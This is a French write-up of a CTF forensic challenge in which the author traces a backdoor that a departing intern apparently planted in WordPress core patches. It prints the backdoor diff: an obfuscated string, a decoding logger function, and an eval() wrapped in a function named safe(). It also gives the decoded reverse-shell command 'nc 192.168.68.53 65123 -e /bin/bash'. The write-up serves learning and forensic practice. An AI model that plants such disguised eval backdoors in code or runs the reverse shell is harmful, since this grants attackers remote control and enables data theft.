BZHCTF 2022 - Le Stagiaire

4 minute read

Voici le write-up du challenge “Le Stagiaire” en catégorie Forensic que j’ai pu first blood lors du Breizh CTF. Merci à l’organisation et l’ESN’HACK pour ce CTF fort sympathique ;)

Énoncé

Un des stagiaires de votre entreprise a eu pour but pendant son stage de créer un document permettant de référencer les différents patchs à appliquer à une version de wordpress (core) pour améliorer la sécurité.

Tout son stage s’est déroulé tranquillement, le jour avant de partir, il a créé un github permettant d’appliquer toutes ses recommandations.

En partant de l’entreprise, le RSSI a déployé une image de ce répo github et a pu voir que cela marchait parfaitement, il a donc déployé le site principal avec.

Une semaine après, on s’est rendu compte que l’accès VPN du stagiaire n’avait pas été révoqué, il l’a donc été. En regardant l’historique de connexion, on a pu remarqué qu’il a continué à l’utiliser malgré le fait qu’il n’était plus dans la boîte.

Nous nous sommes aussi rendu compte que toutes les données de nos clients avaient été vendues sur internet, et que le stagiaire avait donc implémenté une backdoor sur ses patchs du core de wordpress.

Trouvez la backdoor dans les différents commits githubs permettant d’inculper en justice l’ancien stagiaire !

Auteur: Worty

Format: BZHCTF{preuve backdoor}

Solution

Pour ce challenge, on se retrouve face à un repo git sans fichier, juste avec le dossier .git. Au vu de l’énoncé, notre but va être de trouver du code étrange dans les commits afin de trouver la backdoor.

Première commande à lancer, git log, elle nous permet de lister l’ensemble des commits et leurs id :

On voit donc quasiment 10 commits, on peut regarder quel code a été modifié avec la commande git show id_du_commit.

Avec git show ed9c5a22bc1c7330072ad5a0b021aa8ff4409804 :

Ma méthode a donc été de me balader rapidement dans les commits afin de trouver une/des anomalies dans le code qui s’associeraient à une backdoor.

Un premier commit qui m’a interpellé, le 1d8c1524154735abf4d255ed59da82726662e23e, avec ce code-là qui a été modifié :

function wp_generate_password( $length = 12, $special_chars = true,$extra_special_chars = false ) {
- $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+               
+ $chars = 'aZbncVdyeefXglhficjmktlymcnCogpiqYrXsAtguMvTwkxyyLzjAEB2CODCE4F2GOHCI4J1KMLyMAN2ONPTQERySMTyUAVtWcXiYAZv0b132Z3h4L52697u8Z9naUbicKdTes'; //to be really random, because i dont trust alphabet generation

Le commentaire parait étrange, on tente de décoder la string de la variable $chars mais cela ne donne rien.

Regardons le commit suivant :

+ //log all new passwords for admins
+ $status = logger_for_dev("New password generated: ".$password." with list of caracters".$chars,"password");
+               
+ $status = safe($status); //will safe status content for return
...
+/**
+ * This function is trusted by test before
+ * 
+ * USE IT very carefully
+ */
+
+function safe($str)
+{
+       eval($str);
+       return "safe";
+}

On voit à la suite de la méthode wp_generate_password, qu’un call à la fonction safe avec pour paramètre le retour de la fonction logger_for_dev qui a été créer :

+ //logger for dev on text and password
+ function logger_for_dev($msg,$importance)
+ {
+       switch($importance){
+        case "danger":
+            file_put_contents("/tmp/log.danger",$msg);
+                       $res = "ok";
+                       return $res;
+            break;
+        case "medium":
+            file_put_contents("/tmp/log.medium",$msg);
+                       $res = "ok";
+                       return $res;
+            break;
+        case "password":
+                       //we will decrypt the password
+                       $res = explode(" ",$msg);
+                       $password_generated = $res[(sizeof($res)%10)-1];
+                       $res = "";
+                       for($i=0;$i<strlen($password);$i++){ if($i%2==1) $res .= $password[$i]; }
+            file_put_contents("/tmp/log.password","New password generated is".$res="");
+            return $res;
+                       break;
+    }
+ }

On voit le “we will decrypt the password” avec une boucle for qui va prendre un caractère sur 2 dans la variable $password, on est sur la bonne voie. On refait instantanément le bout de code php avec pour paramètres la long string $chars en entier. Note : J’ai supposé que $password prendrait cette valeur lors de la backdoor, il y avait aussi un substring avec wp_rand sur $chars juste avant, mais j’ai décidé de ne pas m’en préocuper, en supposant qu’il ne rentrait pas dans la condition.

Voici donc le code php :

<?php 
$chars = 'aZbncVdyeefXglhficjmktlymcnCogpiqYrXsAtguMvTwkxyyLzjAEB2CODCE4F2GOHCI4J1KMLyMAN2ONPTQERySMTyUAVtWcXiYAZv0b132Z3h4L52697u8Z9naUbicKdTes';
$password = $chars;
$res = "";
for($i=0;$i<strlen($password);$i++){ if($i%2==1) $res .= $password[$i]; }
echo $res;

On obtient ce résultat en decodant la string obtenu en base64 :

On voit une commande, mais le flag ne passe pas. On recheck la string et on voit que la commande n’est pas vraiment valide et qu’il y a un problème au niveau des caractères seulement alphabétiques. On peut donc penser à un César tout bête. On passe le tout dans dcode en brutforcant la clé et hop :

On obtient donc notre Flag qui était la commande backdoorée passée dans le eval: BZHCTF{shell_exec("nc 192.168.68.53 65123 -e /bin/bash");}

Conclusion

On a vu que la méthode était quelque peu approximative et que l’on ne savait pas que $password serait égale à $chars et il n’y avait pas de code pour décoder le base64 et le césar. En réanalysant le code après le CTF, je ne comprenais toujours pas, et au final en demandant à Worty (l’auteur), c’était deux erreurs, donc au final pas de problèmes. Comme on l’a vu, cela ne posait pas de problème, car le code était prévisible.

Merci à Worty pour le chall, ça changeait de ce qu’on voit d’habitude en forensic :) \o/